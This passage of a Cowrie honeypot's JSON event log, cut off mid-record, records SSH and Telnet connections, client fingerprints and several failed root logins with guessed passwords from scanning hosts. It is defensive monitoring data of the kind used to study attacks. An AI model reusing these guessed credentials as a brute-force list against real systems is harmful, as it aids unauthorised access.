{"eventid":"cowrie.session.closed","duration":57.682536363601685,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:34.654885Z","src_ip":"152.42.224.71","session":"e6d3c70a6a77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f55562446b","protocol":"telnet","message":"New connection: 152.42.224.71:38660 (10.17.0.5:23) [session: 99f55562446b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:52.160792Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38672,"dst_ip":"10.17.0.5","dst_port":23,"session":"044da83976bf","protocol":"telnet","message":"New connection: 152.42.224.71:38672 (10.17.0.5:23) [session: 044da83976bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:23:53.148261Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"8764d97371ca","protocol":"ssh","message":"New connection: 43.133.148.170:47398 (10.17.0.5:22) [session: 8764d97371ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:00.335965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:00.340771Z","src_ip":"43.133.148.170","session":"8764d97371ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:00.597673Z","src_ip":"43.133.148.170","session":"8764d97371ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55547,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac4d75daf03","protocol":"ssh","message":"New connection: 152.42.212.128:55547 (10.17.0.5:22) [session: aac4d75daf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:01.352503Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:01.357708Z","src_ip":"152.42.212.128","session":"aac4d75daf03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:01.365714Z","src_ip":"152.42.212.128","session":"aac4d75daf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe","message":"login attempt [root/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:01.659616Z","src_ip":"43.133.148.170","session":"8764d97371ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:02.925791Z","src_ip":"43.133.148.170","session":"8764d97371ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"95476ea8f6dd","protocol":"ssh","message":"New connection: 124.109.2.211:39388 (10.17.0.5:22) [session: 95476ea8f6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:06.371717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:06.376410Z","src_ip":"124.109.2.211","session":"95476ea8f6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:06.637199Z","src_ip":"124.109.2.211","session":"95476ea8f6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hawk","message":"login attempt [root/hawk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:07.663136Z","src_ip":"124.109.2.211","session":"95476ea8f6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:08.938436Z","src_ip":"124.109.2.211","session":"95476ea8f6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9913319f95d","protocol":"telnet","message":"New connection: 152.42.224.71:54898 (10.17.0.5:23) [session: d9913319f95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:12.408585Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":37474,"dst_ip":"159.203.135.109","dst_port":22,"session":"2abafab71375","protocol":"ssh","message":"New connection: 193.228.128.84:37474 (159.203.135.109:22) [session: 2abafab71375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:15.138892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:15.143810Z","src_ip":"193.228.128.84","session":"2abafab71375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:15.245965Z","src_ip":"193.228.128.84","session":"2abafab71375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avatar","message":"login attempt [root/avatar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:15.561637Z","src_ip":"193.228.128.84","session":"2abafab71375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0f42d665821","protocol":"telnet","message":"New connection: 152.42.224.71:57546 (10.17.0.5:23) [session: e0f42d665821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:16.633101Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:16.667016Z","src_ip":"193.228.128.84","session":"2abafab71375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33ca5c945b0","protocol":"telnet","message":"New connection: 152.42.224.71:54914 (10.17.0.5:23) [session: d33ca5c945b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:16.755767Z"}
{"eventid":"cowrie.session.closed","duration":24.011295318603516,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:17.159299Z","src_ip":"152.42.224.71","session":"044da83976bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00317072868347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:19.630373Z","src_ip":"152.42.224.71","session":"536bc2f3ea1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2f42fcdf329","protocol":"telnet","message":"New connection: 152.42.224.71:57554 (10.17.0.5:23) [session: e2f42fcdf329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:25.034826Z"}
{"eventid":"cowrie.session.closed","duration":64.74913835525513,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:30.554337Z","src_ip":"152.42.224.71","session":"f22f48d9e4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41828,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49326cb8270","protocol":"ssh","message":"New connection: 103.75.182.198:41828 (159.203.135.109:22) [session: e49326cb8270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:31.575655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:31.583683Z","src_ip":"103.75.182.198","session":"e49326cb8270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:31.832385Z","src_ip":"103.75.182.198","session":"e49326cb8270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedcxz","message":"login attempt [root/qwedcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:32.578716Z","src_ip":"103.75.182.198","session":"e49326cb8270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:33.830089Z","src_ip":"103.75.182.198","session":"e49326cb8270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":35724,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95a5affc200","protocol":"ssh","message":"New connection: 43.245.98.60:35724 (10.17.0.5:22) [session: d95a5affc200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:34.316480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:34.320890Z","src_ip":"43.245.98.60","session":"d95a5affc200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48382,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae1c8ea4a4c","protocol":"telnet","message":"New connection: 152.42.224.71:48382 (10.17.0.5:23) [session: 9ae1c8ea4a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:34.421283Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:34.566003Z","src_ip":"43.245.98.60","session":"d95a5affc200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saima","message":"login attempt [root/saima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:35.578621Z","src_ip":"43.245.98.60","session":"d95a5affc200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:36.827981Z","src_ip":"43.245.98.60","session":"d95a5affc200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.80944037437439,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:38.050331Z","src_ip":"152.42.224.71","session":"f1e694857034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0023455619812,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:38.951266Z","src_ip":"152.42.224.71","session":"3bdb71e2e2cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.33765316009521,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:39.180570Z","src_ip":"152.42.224.71","session":"1cc61ddb211d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"802f0960a72d","protocol":"ssh","message":"New connection: 103.75.183.219:34922 (10.17.0.5:22) [session: 802f0960a72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:41.640877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:41.645353Z","src_ip":"103.75.183.219","session":"802f0960a72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:41.889794Z","src_ip":"103.75.183.219","session":"802f0960a72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.916587114334106,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:42.325022Z","src_ip":"152.42.224.71","session":"d9913319f95d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rtyuehe","message":"login attempt [root/rtyuehe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:42.625054Z","src_ip":"103.75.183.219","session":"802f0960a72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40306,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe7b2a64101","protocol":"ssh","message":"New connection: 147.45.199.80:40306 (159.203.135.109:22) [session: 9fe7b2a64101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:42.757802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:42.762145Z","src_ip":"147.45.199.80","session":"9fe7b2a64101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 